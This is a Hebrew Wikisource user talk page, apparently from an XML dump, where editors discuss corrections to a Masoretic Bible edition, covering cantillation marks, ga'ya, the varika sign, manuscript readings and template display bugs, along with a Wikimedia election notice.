::תודה רבה שוב! ראה בשינויים האחרונים בסדרים ובהערות הנוסח, בכולם יש תיקון כלשהו חוץ מ-#4. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 22:50, 14 בפברואר 2026 (IST)
::מה שכתבתי אחר כך הוא לגבי טקסט שכנראה לא אמור להיות בגרסת ״דף אחד״ של הספרים שציינתי, איפה שציינתי. כלומר, בגרסת דף אחד של [[ספר ירמיהו/טעמים|ירמיהו]], מופיע בפרק יז פסוק כו (שיש שם את סימון הסדר ט*) את הטקסט ״{{נוסח|״ (חשבתי שכתבתי שזה הטקסט שנמצא שם כשכתבתי את התגובה), וכך גם לשאר המקומות. יצא שנתקלתי במקרים האלה בזמן שהשוואתי את הסדרים, ולא השוואתי בגרסת ״דף אחד״ של כל ספר בהתחלה, אז אני לא יודע אם יש עוד מקרים כאלה [[מיוחד:תרומות/&amp;#126;2026-98926-0|&amp;#126;2026-98926-0]] • [[שיחת משתמש:&amp;#126;2026-98926-0|שיחה]] 23:22, 14 בפברואר 2026 (IST)
:::אם אתה מסתכל בדף העריכה בדף של פרק, אז קוד כגון ״{{נוסח|״ הוא תחילת תבנית. התבנית הזאת מכילה הערת נוסח, כלומר הערה הבאה להסביר את קביעת הנוסח המופיע בספרים. לילה טוב. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 23:27, 14 בפברואר 2026 (IST)
::::לא הסתכלתי בדף העריכה, הטקסט הזה הופיע כמו טקסט רגיל [[מיוחד:תרומות/&amp;#126;2026-98926-0|&amp;#126;2026-98926-0]] • [[שיחת משתמש:&amp;#126;2026-98926-0|שיחה]] 23:31, 14 בפברואר 2026 (IST)
תודה, עכשיו אני מבין. לגבי ירמיהו, יש שתי תקלות בקוד. את השנייה פתרתי עכשיו, אבל עוד לא הבנתי איך לפתור את הראשון. לגבי תהלים ודברי הימים, אין כאן טעות. הבעיה נובעת מהמגבלות שהאתר שם על גודל הדפים. כעת אי אפשר להציג את הספרים האלה במלואם, ובמקום זה רואים את הקישורים בסוף במקום את הטקסט הנכון. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 11:36, 15 בפברואר 2026 (IST)

== סימן רָפֶה ==

בוודאי כבר התייחסת לכך, בשיחה, או ב[[ויקיטקסט:מבוא למקרא על פי המסורה]] אך לא מצאתי. 

למשל ב&quot;וּֽלְﬞהַבְדִּ֔יל&quot; - מה הצורך של הסימן מעל האות ל? או מעל האות רי&quot;ש מספר פעמים ב[[בראשית כז/טעמים]]?

ושאלה נוספת: למה [https://unicode-explorer.com/c/FB1E HEBREW POINT JUDEO-SPANISH VARIKA] ולא [https://unicode-explorer.com/c/05BF HEBREW POINT RAFE]?

תודה, [[משתמש:Ori229|&amp;#45;- אוֹרי]] ([[שיחת משתמש:Ori229|שיחה]]) 12:26, 4 במרץ 2026 (IST)

:זה נועד לסמן שוא נע, וזו גם הסיבה שהסימן שונה. ועיין [[וק:מבוא למקרא על פי המסורה/פרק ב#חטפים באותיות לא גרוניות|בפסקה הרלבנטית במבוא]] (בפרט בסופה). [[משתמש:הירש אייזנשטיין|הירש אייזנשטיין]] • [[שיחת משתמש: הירש אייזנשטיין|שיחה]] • ט&quot;ו באדר ה'תשפ&quot;ו • 12:30, 4 במרץ 2026 (IST)

::תודה [[משתמש:הירש אייזנשטיין|הירש]] על התשובה המהירה והנכונה. [[משתמש:Ori229|אוֹרי]], אולי נכון שתדע שיש גם רפה אמיתי במקומות שונים, ראה [[וק:מבוא למקרא על פי המסורה/פרק ב#סימן הרפה|כאן]]. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 13:16, 4 במרץ 2026 (IST)

:::תודה לשניכם. הבנתי היטב את השימוש בסימן רפה. לגבי סימן וריקה - אני לא בטוח - תגידו לי אם אני מבין נכון:
לפי כללי הדקדוק הבסיסיים, &quot;חטף&quot; (חטף-פתח, חטף-סגול או חטף-קמץ) מופיע בדרך כלל באותיות גרוניות (א, ה, ח, ע) כדי לסייע בהגיית השווא. אולם, בכתבי יד עתיקים ומדויקים כמו כתר ארם צובה, מופיעים לעיתים חטפים גם באותיות רגילות.

'''הרב ברויאר''': החליט להפוך את כל החטפים הללו לשוואים רגילים. נימוקו: סימון החטף הוא רק &quot;מנהג&quot; להדגשת הקריאה ולא חובה הלכתית-מסורתית. הוא חשש שקורא מודרני יתבלבל ויחשוב שמדובר בתנועה רגילה.

'''מהדורת &quot;הכתר&quot;''': מתחו ביקורת על ברויאר. לטענתם, אם הכתר סימן חטף, עלינו להעתיק אותו בדיוק כפי שהוא, כי זו שיטת המסורה המקורית.

'''פשרה אצלינו''': כותבים שווא (כדי לא לבלבל את הקורא), אבל מוסיפים מעל האות את הסימן &quot;וריקה&quot;. כך הקורא יודע שבכתב היד המקורי היה שם חטף ושמדובר בשווא נע שיש להגות בבירור.

השימוש בסימן הוָרִיקָה מגיע מלאדינו. בדומה ליידיש שמשתמשת באותיות עבריות, גם הלאדינו נכתבה באותיות עבריות. כיוון שבספרדית יש צלילים שאינם קיימים בעברית המקראית, השתמשו בוריקה כסימן דיאקריטי (סימן הבחנה) כדי לשנות את הגיית האות. לדוגמה: בֿ (ב עם וריקה): נהגית כמו בית רפה.

השאלנו אצלינו את הוריקה מלאדינו כדי לסמן שוא נע. למה דוקא את הוריקה? כי הסימן דומה לסימן הרפה, וכך הקורא מבין שיש כאן הדגשה של &quot;תיקון קוראים&quot; לגבי ניקוד יוצא דופן. 

::אכן כך? תודה, [[משתמש:Ori229|&amp;#45;- אוֹרי]] ([[שיחת משתמש:Ori229|שיחה]]) 17:43, 4 במרץ 2026 (IST)

סיכום יפה [[משתמש:Ori229|אוֹרי]]. קצת הוספת דיוק: &quot;כך הקורא יודע שבכתב היד המקורי היה שם חטף '''כדי להורות על הנעת השווא''' שיש להגות בבירור... השאלנו אצלינו את הוריקה מלאדינו כדי לסמן שוא נע '''באותם מקומות שבכתבי־היד עושים את זה על־ידי כתיבת חטף'''.&quot; כדאי לדעת ש[[משתמש:Bdenckla|בן דנקלה]] מקדם את התהליך להוספת תווים ביוניקוד לשווא נע ודגש חזק. כשיהיה בעזר&quot;ה תו כזה לשווא נע, אז יהיה מקום לשקול את מחיקת ה&quot;וריקה&quot;, ואולי להשתמש בו לצורך אחר. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 22:12, 4 במרץ 2026 (IST)

== בעיה במהדורת הכתיב והמנוקדת ==

ערב טוב, ב[[:קטגוריה:תהלים לח כא]] וב[[:קטגוריה:שיר השירים א ה]] לדוגמה יש שגיאה בתצוגה של מהדורת הכתיב ומהדורת הניקוד, שחלק מהתבניות מכניסות טקסט לתוך הפסוק. כלומר &quot;שחורה אני ונאוה בנות ירושלם ד=כאהלי קדר כיריעות שלמה.&quot;;&quot;וּמְשַׁלְּמֵי רָעָה תַּחַת טוֹבָה יִשְׂטְנוּנִי תַּחַת רדופי לגבי קמץ קטן בתיבה זו ראו ויינברג 3.2.1.3; במהדורת סימנים הדפיסו קמץ רחב וגעיה, ואילו בתנ&quot;ך קורן קמץ קטן עם מתג.&quot; כלומר כנראה( לא בדקתי בעוד מקומות) הקוד של מהדורת הניקוד ושל מהדורת הכתיב לא 'יודע' להתמודד עם התבנית של קמץ במחלוקת ושל הערות נוסח . [[משתמש:נשיא|נשיא]] ([[שיחת משתמש:נשיא|שיחה]]) 22:03, 5 במרץ 2026 (IST)
: מתייג את {{א|Ori229}}.-- [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 05:14, 6 במרץ 2026 (IST)
: מעתיק מן המזנון:
:::: אני מהמר שזה קרה בגלל ניתוק מערכתי מכוון של ג'אווסקריפט עקב בעיות אבטחה. המון דברים לא עובדים. [[משתמש:IKhitron|IKhitron]] ([[שיחת משתמש:IKhitron|שיחה]]) [[ויקיטקסט:מזנון#c-IKhitron-20260305192800-%D7%94%D7%99%D7%A8%D7%A9 %D7%90%D7%99%D7%99%D7%96%D7%A0%D7%A9%D7%98%D7%99%D7%99%D7%9F-20260305182000|21:28, 5 במרץ 2026 (UTC+2)]]
: [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 05:18, 6 במרץ 2026 (IST)
:::::באג בתכנית ההסבה שלי - אתקן. [[משתמש:Ori229|&amp;#45;- אוֹרי]] ([[שיחת משתמש:Ori229|שיחה]]) 08:17, 6 במרץ 2026 (IST)
:::::: הבעייה היא בכל המקרא, לא רק בתהילים או בשיר השירים. [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 09:21, 6 במרץ 2026 (IST)
::::::: אכן. תיקנתי את מהדורת הכתיב על ידי בוט בכל המקרא. במהדורה המנוקדת מצאתי בעיות רק במקומות בהם היה שימוש יוצא דופן בתבניות ותיקנתי ידנית.
::::::: נחום, אם אתה מוצא טעות עדיין בבקשה תגיד לי. תודה, [[משתמש:Ori229|&amp;#45;- אוֹרי]] ([[שיחת משתמש:Ori229|שיחה]]) 09:34, 6 במרץ 2026 (IST)
תודה רבה אורי וכולכם. שבת שלום ומבורך, [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 10:14, 6 במרץ 2026 (IST)

== המהדורה הדקדוקית \ רכיבים ==

שבוע טוב, מה שלומך?

במסגרת הצלת המידע מאתר OSHB, שכבר לא מתוחזק, רציתי לנער את ה&quot;מהדורה הדקדוקית&quot; אצלינו, שכמעט ולא היה בה מידע מועיל עד עתה.

בבקשה ראה את העדכון שעשיתי ל[[בראשית א/רכיבים]]. מה דעתך? בדף יש מידע גולמי כפי שהוא באתר המקורי, וכל התצוגה הוויזואלית ניתנת לשינויים בעתיד ב[[תבנית:דקדוק]].

תודה, אורי [[משתמש:Ori229|&amp;#45;- אוֹרי]] ([[שיחת משתמש:Ori229|שיחה]]) 01:04, 12 באפריל 2026 (IDT)

:איזה יופי אורי! זה יפה ושימושי!
:זה הרבה, הרבה יותר יעיל ממה שהיה קודם באזור &quot;רכיבים&quot; (עד כדי כך שקודם חשבתי שכדאי למחוק אותו). אבל החומר הזה - חשוב מאוד שיישאר אצלנו לשימוש, והוא גם מציל את המידע שנשאר שם ב-OSHB לפני שירד חלילה לטמיון.
:יפה שאפילו מצאת דרך אוטומטית להפוך את &quot;צורת יסוד&quot; לשימושי. אולי יש גם דרך לנצל את &quot;קוד מזהה מילה&quot; (לא הבנתי מה זה), ל&quot;מורפולוגיה&quot;, ול&quot;מבנה על פי הטעמים&quot; (אם הבנתי נכון האחרון מצביע על דרגתם של המפסיקים)? [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 12:31, 12 באפריל 2026 (IDT)

::תודה רבה על העידוד.
::קוד מזהה מילה (ID) - זה סתם קוד לכל מילה ומילה בתנ&quot;ך. לא מצאתי בינתיים מה לעשות עם זה.
::מורפולוגיה - זה מה שיוצר את עיקר המידע בתחילת החלונית הצצה.
::מבנה על פי הטעמים - בזה השתמשתי ביצירת [[בראשית א/תרשים טעמים]]. אין לזה צורך במהדורה הדיקדוקית. אפשר באמת להסיר.
::צורת היסוד - בינתיים הפנתי למילון בוויקיטקסט באננגלית, אבל אני שוקל אם להעתיק אותו אלינו - ר' [[משתמש:Ori229/ארגז חול/קונקורדנציה]] - מה דעתך? [[משתמש:Ori229|&amp;#45;- אוֹרי]] ([[שיחת משתמש:Ori229|שיחה]]) 17:20, 12 באפריל 2026 (IDT)
::: זה נראה לי דבר מדהים לעשות אם תמצא דרך לעשות את זה בלי יותר מדאי קושי. [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 18:10, 12 באפריל 2026 (IDT)
:::: בכיף - הנה: [[מילון הקונקורדנציה של סטרונג]].
::::יש לי גם את כל דפי פרקי התנ&quot;ך מוכנים לטעינה - בהמשך אעלה עם בוט. [[משתמש:Ori229|&amp;#45;- אוֹרי]] ([[שיחת משתמש:Ori229|שיחה]]) 22:27, 12 באפריל 2026 (IDT)
::::...סיימתי. [[משתמש:Ori229|&amp;#45;- אוֹרי]] ([[שיחת משתמש:Ori229|שיחה]]) 19:58, 13 באפריל 2026 (IDT)
:::::תודה רבה [[משתמש:Ori229|&amp;#45;- אוֹרי]]! [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 18:39, 14 באפריל 2026 (IDT)

== הערה על פרשה שאינה במסורת הרמב&quot;ם אך מצויה בכתבי היד ==

תן דעתך לנכתב ב־[[שיחה:שמות כו/הערות נוסח]].-- [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 12:50, 27 באפריל 2026 (IDT)

:תודה [[משתמש:Nahum|Nahum]]! [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 16:03, 27 באפריל 2026 (IDT)

== You may be an eligible candidate for the U4C election ==

&lt;div lang=&quot;en&quot; dir=&quot;ltr&quot; class=&quot;mw-content-ltr&quot;&gt;
Greetings,

The [[m:Special:MyLanguage/Universal_Code_of_Conduct/Coordinating_Committee|Universal Code of Conduct Coordinating Committee (U4C)]] seeks candidates for the 2026 election. The U4C is the global committee responsible for overseeing enforcement of the [[foundation:Special:MyLanguage/Policy:Universal Code of Conduct|Universal Code of Conduct]]. Elections are held annually, if elected a committee member serves for two years.

This year the U4C requires candidates to hold administrator rights on at least one wiki, which is why you are being contacted as you appear to hold this right. There are other requirements, such as candidates must be at least 18 years old and may not be employed by the Wikimedia Foundation or other related chapters and affiliates. You can find more information in the [[m:Special:MyLanguage/Universal_Code_of_Conduct/Coordinating_Committee/Election/2026#Call_for_Candidates|call for candidates on Meta-wiki]]. Additionally, the committee's working language is English; some ability to communicate in English is required.

The election opens on 18 May, if you are eligible and interested you have until 10 May to submit your candidacy. There will week between for candidates to answer questions from the community. Voting takes place privately in [[m:Special:MyLanguage/SecurePoll|SecurePoll]], successful candidates must receive at least 60% support. More information is available on [[m:Special:MyLanguage/Universal_Code_of_Conduct/Coordinating_Committee/Election/2026|the 2026 Elections page]], including timelines and other candidacy information. If you read over the material and consider yourself qualified, please consider submitting your name to run for the committee. If you think someone else in your community might be interested and qualified, please encourage them to run.

In partnership with the U4C -- [[m:User:Keegan (WMF)|Keegan (WMF)]] ([[m:User_talk:Keegan (WMF)|talk]]) 21:33, 28 באפריל 2026 (IDT) &lt;/div&gt;
&lt;!-- הודעה שנשלחה על־ידי User:Keegan (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=User:Keegan_(WMF)/test&amp;oldid=30471754 --&gt;

== פרשת בהעלותך: ויעמד אתם סביבת האהל ==

שלום,
במהדורת מקרא על פי המסרה, יש געיה כבדה לא סדירה בתיבת וַֽיעמד. ראיתי שבמקראות גדולות הכתר אין. חיפשתי בהערות הנוסח ולא מצאתי התייחסות לכך. בדקתי ומצאתי שבכת״י ל יש כנראה געיה כבדה (הדיו קצת מטושטש, אבל קו הגעיה נראה די בבירור), אבל בשאר כתבי היד שבדקתי (שני כתבי יד ששון, ווטיקן 448) אין געיה זו. גם משמע כך בחילופי מישאל שכתב שהסכימו בתיבות והֽתיצבו שם, אם אֽת כל דגי הים (שניהם עם געיה כבדה שאינה סדירה) ולא מנה את &quot;ויעמד&quot;. [[משתמש:Shacoaz|Shacoaz]] ([[שיחת משתמש:Shacoaz|שיחה]]) 11:10, 5 ביוני 2026 (IDT)

:תודה רבה על ההערה. בדקתי עוד שורה של כתבי יד, וברוב המכריע אין געיה (רק עוד אחד חוץ מכתי&quot;ל). גם מדובר על תיבת משרת. אז אבצע את השינוי ואוסיף הערה.
:אגב שאלה: אתה בודק תמיד את כת&quot;י ותיקן 448. לא השתמשתי בכתב יד זה בעבר, חוץ מהמקרים שאתה הזכרת אותו. מה מייחד את כתב היד הזה, והופך אותו למקור חשוב בשביל געיות? [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 13:10, 7 ביוני 2026 (IDT)
::יש״כ.
::שתי תשובות לשאלתך: אני בודק תמיד את כת״י וטיקן 448 קודם כל משום שעבורי הוא נגיש, כי השתמשתי בו כדי לערוך לעצמי נוסח לתרגום אונקלוס, ולכן רשום לי בדיוק באיזה דף נמצא כל פסוק ואני מאתר בקלות. מלבד זאת, מהתרשמותי, הערות המסרה שלו במחלוקות ב״א וב״נ מתאימות כמעט תמיד לחילופי מישאל, ולכן בעיניי הוא מאד אמין בתחום הגעיות. [[משתמש:Shacoaz|Shacoaz]] ([[שיחת משתמש:Shacoaz|שיחה]]) 00:25, 8 ביוני 2026 (IDT)
:::תודה רבה! [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 18:33, 8 ביוני 2026 (IDT)

== ויעמדו פתח אהל מועד ==

בפרשת קרח, (במד׳ יו, יח), בכת״י ל׳ וכאן הגעיה באות ו׳ וַֽיעמדו. בדקתי במק״ג הכתר ובמכון ממרא וראיתי ששם אין געיה כבדה באות ו׳, כצפוי (כי איון מבנה של געיה כבדה סדירה). לא התפניתי לבדוק בכתבי יד, אבל אני משער שכת״י ל הוא היחיד שהניח את הגעיה הכבדה. [[משתמש:Shacoaz|Shacoaz]] ([[שיחת משתמש:Shacoaz|שיחה]]) 10:01, 19 ביוני 2026 (IDT)</text>
      <sha1>05kpvmtzdrv4sj415i4zgg4zpga3phs</sha1>
    </revision>
    <revision>
      <id>3020749</id>
      <parentid>3020722</parentid>
      <timestamp>2026-06-19T09:38:14Z</timestamp>
      <contributor>
        <username>Nahum</username>
        <id>68</id>
      </contributor>
      <comment>/* ויעמדו פתח אהל מועד */</comment>
      <origin>3020749</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="46099" sha1="aq0d5qrpgg8wffaqjhcnt374g49qjzu" xml:space="preserve">כאן בדף שיחתי ניתן לדווח על טעויות ב'''[[משתמש:Dovi/מקרא על פי המסורה|מקרא על פי המסורה]]''' וב'''[[תרגום אונקלוס]]''', וגם כמובן לפנות אלי למטרות אחרות. לחץ על [https://he.wikisource.org/w/index.php?title=%D7%A9%D7%99%D7%97%D7%AA_%D7%9E%D7%A9%D7%AA%D7%9E%D7%A9:Dovi&amp;action=edit&amp;section=new &quot;פסקה חדשה&quot;] כדי להתחיל דיון חדש.&lt;div dir=&quot;ltr&quot;&gt;
Here at my talk page you can report errors in '''[[:en:User:Dovi/Miqra according to the Mesorah|Miqra according to the Mesorah]]''' and '''[[תרגום אונקלוס|Targum Onkelos]]''', or contact me for any other reason. Click on [https://he.wikisource.org/w/index.php?title=%D7%A9%D7%99%D7%97%D7%AA_%D7%9E%D7%A9%D7%AA%D7%9E%D7%A9:Dovi&amp;action=edit&amp;section=new Add topic] to begin a new discussion.
&lt;/div&gt;
{{ש}}
__TOC__
==ארכיון==

'''ארכיון לדף השיחה שלי:'''
*'''[[שיחת משתמש:Dovi/ארכיון א|א]]'''
*'''[[שיחת משתמש:Dovi/ארכיון ב|ב]]'''
*'''[[שיחת משתמש:Dovi/ארכיון ג|ג]]'''
*'''[[שיחת משתמש:Dovi/ארכיון ד|ד]]''' (05.10-12.12)
*'''[[שיחת משתמש:Dovi/ארכיון ה|ה]]''' (01.13-08.13)
*'''[[שיחת משתמש:Dovi/ארכיון ו|ו]]''' (24.10.2013-04.01.2022)
*'''[[שיחת משתמש:Dovi/ארכיון ז|ז]]''' (13.01.2022-31.12.2024)
*'''[[שיחת משתמש:Dovi/ארכיון ח|ח]]'''

== פרשת ויגש (בראשית מה יד): ויפל על צוארי בניָֽמִן־אחיו ==

אמנם הנוסח בלנינגרד בנימִֽן־ (וניתן אף להסתפק אם קיימת געיה בכלל, אבל נראה יותר שהיא קיימת), אבל בכתבי יד ששון 
בניָֽמִן־ (ניתן לראות את זה בבירור בתורה ששון, בתנ״ך ששון לא סומן החירק כלל), וכן בכת״י וטיקן 448 (דף 61r , יש שם בעיה עם סידור הדפים), וכ״כ מנחת שי, ובחילופין מישאל נכתב שלא נחלקו בזה ב״א וב״נ, וכן הוא בברויאר ובמק״ג הכתר. [[משתמש:Shacoaz|Shacoaz]] ([[שיחת משתמש:Shacoaz|שיחה]]) 10:58, 10 בינואר 2025 (IST)

:תודה [[משתמש:Shacoaz|Shacoaz]]! [https://he.wikisource.org/w/index.php?title=%D7%91%D7%A8%D7%90%D7%A9%D7%99%D7%AA_%D7%9E%D7%94/%D7%98%D7%A2%D7%9E%D7%99%D7%9D&amp;curid=236117&amp;diff=2899983&amp;oldid=2859185 הוספתי תיעוד]. כשאתה מבצע תיקון, אם יש אפשרות חשוב לתעד מייד את נוסח כתי&quot;ל, ואז יהיה ברור שיש מה לדון בתיבה. אח&quot;כ אפשר להוסיף.

:שאלה: מהו היתרון בנוסח הגעיות בכת&quot;י ותיקן 448? לפי הקטלוג התרגום מאוד חשוב בו, ויש גם מסורה מיוחדת. מישהו בדק בו ניקוד וטעמים וגעיות? שבת שלום, [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 14:51, 10 בינואר 2025 (IST)

== מזמור קנ&quot;א\תהלים קנא ==

ר' אבי, האם תוכל בבקשה לפנות זמן ולחוות דעתך בנושא שם הדף הראוי ל[[מזמור קנ&quot;א]] \ [[תהלים קנא]], בדיון המתקיים בדף [[שיחת משתמש:פעמי-עליון]]? אעריך זאת מאוד. בברכה, [[משתמש:Nahum|נחום]] • [[שיחת משתמש:Nahum|שיחה]] 12:48, 18 במרץ 2025 (IST)

== קמץ ב&quot;בז לרעהו&quot; ==

[[שיחת קטגוריה:משלי יא יב#קמץ קטן או גדול ב&quot;בז&quot;]]

אשמח לתשובה [[משתמש:J. Nord|J. Nord]] ([[שיחת משתמש:J. Nord|שיחה]]) 16:31, 2 באפריל 2025 (IDT)

== לא אד&quot;ו ראש ולא בד&quot;ו פסח ==

פסח השנה (תשפ&quot;ה) יוצא ביום ראשון ולכן חול המועד ביום שני אבל אין בטבלה את הקריאה של חול המועד היוצא ביום שני של פסח.
באותו האופן אם לא בד&quot;ו פסח אז למשל לא יכול להיות שיום שלישי יהיה חול המועד א של פסח [[משתמש:Yaakov shitrit|Yaakov shitrit]] ([[שיחת משתמש:Yaakov shitrit|שיחה]]) 09:37, 14 באפריל 2025 (IDT)
: לא הבנתי מה חסר לך בטבלה. פסח חל השנה ביום ראשון והטבלה אומרת שבט&quot;ז בניסן קוראים &quot;שור או כשב&quot;. מועדים לשמחה, [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 11:44, 14 באפריל 2025 (IDT)

== אנא ה' הושיעה נא ==

שבוע טוב,

ראיתי השבת שבסידור קורן מופיע שיש להגות &quot;הוש֫יעה&quot;. כדי להבין למה, בדקתי בגרסה שלהם וראיתי שבתנ&quot;ך קורן המילה מוטעמת במונח בלבד באות שי&quot;ן. רציתי להשוות את זה למקרא על פי המסורה ולא ראיתי תיעוד של הגרסה הזאת. היא מופיעה בעוד גרסאות של מקראות גדולות שהסתכלתי בהן. אשמח להוסיף את הגרסה. [[משתמש:Kurpaph|Kurpaph]] ([[שיחת משתמש:Kurpaph|שיחה]]) 22:19, 19 באפריל 2025 (IDT)
: לא כל שטות של קורן ראויה לתיעוד לענ&quot;ד.-- [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 00:25, 20 באפריל 2025 (IDT)
::אני מסכים שאי-אפשר להעיר על כל הטעמה חריגה בדפוסים בכלל, ובדפוס קורן בפרט. ברובם אין שום משמעות. ביחד עם זה, חשוב להעיר במקומות שהמדקדקים עוסקים בהם או שאנשים נוטים לשאול. במקום הזה יש לא רק דיון במ&quot;ש, אלא גם שבסידורים רבים מציינים ב&quot;הושיעה&quot; שהיא מלעיל. הוספתי הערה. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 12:56, 23 באפריל 2025 (IDT)
:::תודה רבה @[[משתמש:Dovi|Dovi]]!
:::בהקשר לשיח, אשמח להבהרה בנוגע לדברים שנכנסים לגרסה זו ולדברים שלא. חשבתי שיש כאן רשימה של כל גרסאות המסורה וכמובן של כתבי היד. לא ידעתי שיש כאן השמטה של מסורות הדפוסים. [[משתמש:Kurpaph|Kurpaph]] ([[שיחת משתמש:Kurpaph|שיחה]]) 14:20, 23 באפריל 2025 (IDT)
::::ממליץ לך לקרוא את ההקדמה למהדורה. אין כאן &quot;השמטה של מסורות הדפוסים&quot;, כי המהדורה איננה מיוסדת על הדפוסים ואין מה להשמיט. היא מיוסדת על כתר ארם צובה וכת&quot;י לנינגרד, ולכן יש חובה לציין כל חריגה מהם וכל נקודה לא ברורה בהם. לעתים הדפוסים שופכים קצת אור על השאלות הללו, לפחות בתור השוואה, ולכן ציינו אותם. בנוסף לכך, יש מקומות שנוסח הדפוסים כה שגור בפיהם של הקוראים, עד כדי כך שכדאי לציין את ההבדל בינו לבין נוסח כתבי היד. עשיתי כך פעמים רבות בתורה, אבל יש מקום לשפר. גם במזמורי הלל, כמו בפסוק הזה, הצורך הזה קיים. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 16:16, 23 באפריל 2025 (IDT)

== לגרמיה / פסק ==

אם אני מבין נכון, לגרמיה מוצג בצורה בולטת יותר מסתם פסק. למשל, בבראשית א' 29 (במלה &quot;עשב&quot;) הוא מוצג כקו עבה:

[[:קטגוריה:בראשית א כט]]

אבל בבראשית א' 21 גם כן יש לגרמיה (במלה &quot;החיה&quot;), אבל משום מה הוא מוצג כקו חלש:

[[:קטגוריה:בראשית א כא]]

האם זה אינו לגרמיה? יש באותה מלה &quot;מונח&quot; מתחת ליו&quot;ד. [[מיוחד:תרומות/2A02:14F:F:8079:A807:2FC7:4E81:55AC|2A02:14F:F:8079:A807:2FC7:4E81:55AC]] 09:55, 1 במאי 2025 (IDT)
: בבראשית א 21 במלה &quot;החיה&quot; אין לגרמיה אלא פסק רגיל, שכן במלה &quot;הרומשת&quot; יש פזר. לעומת זאת, כאשר לאחר המונח בא רביע או מונח רביע, הרי המונח שלפניו הוא לגרמיה. 
: כעיקרון, לפני רביע בא לגרמיה (וכן לפני מהפך פשטא, או לפני קדמא ואזלא). לעומת זאת, לפני פזר בא מונח רגיל עם פסק. בברכה, [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 12:50, 1 במאי 2025 (IDT)

תודה על שאלתך ועל הרצון לדיוק, ותודה נחום על התשובה הנכונה. ראו במבוא למידע מפורט על [[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ב#פסק ולגרמיה|ההבחנה בין &quot;פסק&quot; ל&quot;לגרמיה]]. שבת שלום, [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 09:32, 2 במאי 2025 (IDT)

== Contacting you ==

Is there a way I can contact you in English about use of your MAM text? [[מיוחד:תרומות/183.182.111.122|183.182.111.122]] 10:11, 18 במאי 2025 (IDT)

Sure! Just log in to Wikisource, click on &quot;Tools&quot;, and select &quot;Email this user&quot;. I'd be happy to help however I can. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 12:34, 18 במאי 2025 (IDT)

== שינוי קישור למקרא בויקיטקסט ==

[[משתמש:Dovi|Dovi]], [https://he.wikisource.org/w/index.php?diff=2960542 עריכה] זו בסדר? [[משתמש:יחיאל הלוי|יחיאל הלוי]] ([[שיחת משתמש:יחיאל הלוי|שיחה]]) 13:55, 12 באוקטובר 2025 (IDT)

:כן, כך צריך להיות. תודה! [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 16:33, 12 באוקטובר 2025 (IDT)

== הטעמה באיוב ו י ==

{{מ:דחי|בְ֭חִילָה|בְ֭חִילָ֭ה}} - על פי מה קבעת את ההטעמה מלרע? מסברה? זו לא צורה מוארכת של חיל? [[משתמש:יחיאל הלוי|יחיאל הלוי]] ([[שיחת משתמש:יחיאל הלוי|שיחה]]) 15:27, 15 באוקטובר 2025 (IDT)

:תודה רבה על תשומת הלב והדיוק בשאלה! לא שמתי לב לזה קודם. בדקתי עכשיו, ו[https://he.wikisource.org/w/index.php?title=%D7%90%D7%99%D7%95%D7%91_%D7%95/%D7%98%D7%A2%D7%9E%D7%99%D7%9D&amp;curid=238996&amp;diff=2960832&amp;oldid=2912427 הוספתי הערת נוסח]. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 16:27, 15 באוקטובר 2025 (IDT)
::תודה רבה! [[משתמש:יחיאל הלוי|יחיאל הלוי]] ([[שיחת משתמש:יחיאל הלוי|שיחה]]) 21:25, 16 באוקטובר 2025 (IDT)

== וריקה וגעיה בשופטים ז' ז' ==

במילה &quot;המלקקים&quot; בשופטים ז' ז' יש בכתר חטפים באות מ' ובאות ק' וגעיות באות ה' ובאות ל', אך במהדורה מסומנת רק הגעיה ב-ה' והווריקה ב-ק' (אולי בהשפעת המילה &quot;המלקקים&quot; שבפסוק הקודם, שאכן מופיעה בהתאם לכתר). [[משתמש:עשהאל|עשהאל]] ([[שיחת משתמש:עשהאל|שיחה]]) 00:56, 28 באוקטובר 2025 (IST)

:תודה [[משתמש:עשהאל|עשהאל]]! [https://he.wikisource.org/w/index.php?title=%D7%A9%D7%95%D7%A4%D7%98%D7%99%D7%9D_%D7%96/%D7%98%D7%A2%D7%9E%D7%99%D7%9D&amp;curid=236813&amp;diff=2962084&amp;oldid=2907888 '''תיקנתי''']. בבקשה לבדוק שוב שהכל בסדר עכשיו. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 08:05, 28 באוקטובר 2025 (IST)

